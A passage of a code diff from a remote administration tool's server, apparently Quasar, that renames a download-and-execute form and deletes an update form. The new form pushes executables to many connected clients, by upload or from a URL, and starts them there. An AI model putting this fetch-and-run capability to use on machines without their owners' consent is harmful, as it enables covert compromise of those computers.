TransferColumn + { + Client, + Status + } + + private bool _isUpdate; + + public FrmRemoteExecution(Client[] clients) + { + _clients = clients; + _remoteExecutionMessageHandlers = new List(clients.Length); + + InitializeComponent(); + + foreach (var client in clients) + { + var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler + { + FileHandler = new FileManagerHandler(client), ExecutionHandler = new RemoteExecutionHandler(client) + }; + + var lvi = new ListViewItem(new[] + { + $"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]", + "Waiting..." + }) {Tag = remoteExecutionMessageHandler}; + + lstTransfers.Items.Add(lvi); + _remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler); + RegisterMessageHandler(remoteExecutionMessageHandler); + } + } + + /// + /// Registers the message handlers for client communication. + /// + private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + // TODO handle disconnects + remoteExecutionMessageHandler.ExecutionHandler.ProgressChanged += SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(remoteExecutionMessageHandler.FileHandler); + MessageHandler.Register(remoteExecutionMessageHandler.ExecutionHandler); + } + + /// + /// Unregisters the message handlers. + /// + private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + MessageHandler.Unregister(remoteExecutionMessageHandler.ExecutionHandler); + MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler); + remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated; + remoteExecutionMessageHandler.ExecutionHandler.ProgressChanged -= SetStatusMessage; + } + + private void FrmRemoteExecution_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length); + } + + private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + UnregisterMessageHandler(handler); + handler.ExecutionHandler.Dispose(); + handler.FileHandler.Dispose(); + } + + _remoteExecutionMessageHandlers.Clear(); + lstTransfers.Items.Clear(); + } + + private void btnExecute_Click(object sender, EventArgs e) + { + _isUpdate = chkUpdate.Checked; + + if (radioURL.Checked) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + if (!txtURL.Text.StartsWith("http")) + txtURL.Text = "http://" + txtURL.Text; + + handler.ExecutionHandler.StartProcessFromWeb(txtURL.Text, _isUpdate); + } + } + else + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + handler.FileHandler.BeginUploadFile(txtPath.Text); + } + } + } + + private void btnBrowse_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Multiselect = false; + ofd.Filter = "Executable (*.exe)|*.exe"; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName); + } + } + } + + private void radioLocalFile_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = radioLocalFile.Checked; + groupURL.Enabled = !radioLocalFile.Checked; + } + + private void radioURL_CheckedChanged(object sender, EventArgs e) + { + groupLocalFile.Enabled = !radioURL.Checked; + groupURL.Enabled = radioURL.Checked; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler) lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.ExecutionHandler.Equals(sender as RemoteExecutionHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = transfer.Status; + + if (transfer.Status == "Completed") + { + handler.ExecutionHandler.StartProcess(transfer.RemotePath, _isUpdate); + } + return; + } + } + } + + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.ExecutionHandler.Equals(sender as RemoteExecutionHandler)) + { + lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = message; + return; + } + } + } + } +} diff --git a/Quasar.Server/Forms/FrmDownloadAndExecute.resx b/Quasar.Server/Forms/FrmRemoteExecution.resx similarity index 100% rename from Quasar.Server/Forms/FrmDownloadAndExecute.resx rename to Quasar.Server/Forms/FrmRemoteExecution.resx diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index 3f230fe24..80562e6c7 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -106,6 +106,16 @@ private void TasksChanged(object sender, Process[] processes) processesToolStripStatusLabel.Text = $"Processes: {processes.Length}"; } + /// + /// Called whenever a result of a started process is received. + /// + /// The message handler which raised the event. + /// The result of the started process. + private void ProcessStarted(object sender, string result) + { + processesToolStripStatusLabel.Text = $"{processesToolStripStatusLabel.Text} | {result}"; + } + private void FrmTaskManager_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); diff --git a/Quasar.Server/Forms/FrmUpdate.cs b/Quasar.Server/Forms/FrmUpdate.cs deleted file mode 100644 index 72872f7a3..000000000 --- a/Quasar.Server/Forms/FrmUpdate.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using System.IO; -using System.Windows.Forms; -using Quasar.Server.Helper; - -namespace Quasar.Server.Forms -{ - public partial class FrmUpdate : Form - { - public bool UseDownload { get; set; } - public string UploadPath { get; set; } - public string DownloadUrl { get; set; } - - private readonly int _selectedClients; - - public FrmUpdate(int selected) - { - _selectedClients = selected; - InitializeComponent(); - } - - private void FrmUpdate_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Update Clients", _selectedClients); - btnUpdate.Text = "Update Client" + ((_selectedClients > 1) ? "s" : string.Empty); - } - - private void btnUpdate_Click(object sender, EventArgs e) - { - UseDownload = radioURL.Checked; - UploadPath = txtPath.Text; - DownloadUrl = txtURL.Text; - - this.DialogResult = DialogResult.OK; - this.Close(); - } - - private void btnBrowse_Click(object sender, EventArgs e) - { - using (OpenFileDialog ofd = new OpenFileDialog()) - { - ofd.Multiselect = false; - ofd.Filter = "Executable (*.exe)|*.exe"; - if (ofd.ShowDialog() == DialogResult.OK) - { - txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName); - } - } - } - - private void radioLocalFile_CheckedChanged(object sender, EventArgs e) - { - groupLocalFile.Enabled = radioLocalFile.Checked; - groupURL.Enabled = !radioLocalFile.Checked; - } - - private void radioURL_CheckedChanged(object sender, EventArgs e) - { - groupLocalFile.Enabled = !radioURL.Checked; - groupURL.Enabled = radioURL.Checked; - } - - } -} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmUpdate.resx b/Quasar.Server/Forms/FrmUpdate.resx deleted file mode 100644 index 2c592595d..000000000 --- a/Quasar.Server/Forms/FrmUpdate.resx +++ /dev/null @@ -1,659 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA - IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// - /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// - /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// - /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws - JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo - If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL - Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex - Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub - lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S - zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW - 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI - hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo - If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl - Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo - Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// - /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA - //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA - AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq - I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn - IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp - Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp - Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw - KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo - If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo - If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp - Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B - fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo - IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX - D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// - /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 - 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e - V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 - Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp - Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw - qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e - F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 - tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn - IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm - X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF - vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl - Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA - Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo - If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 - +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND - PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ - /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// - /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o - 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo - IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 - bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp - Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo - If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp - Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp - If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr - qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp - Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl - Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp - Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm - H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 - Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn - IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// - /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i - Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// - /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo - If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 - LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 - MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 - Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo - If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm - H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo - If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK - Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko - If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn - IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp - Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk - HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY - Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD - Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp - IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f - F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp - Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 - NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp - Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp - Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// - /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl - Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn - IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// - /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg - GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm - YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj - HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d - Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY - k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp - Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop - Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu - af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr - JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk - Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq - I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e - F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// - /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp - Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp - Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// - /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo - If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 - Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj - HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp - Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff - WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV - Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM - iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 - Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp - Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj - G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g - W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH - QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// - 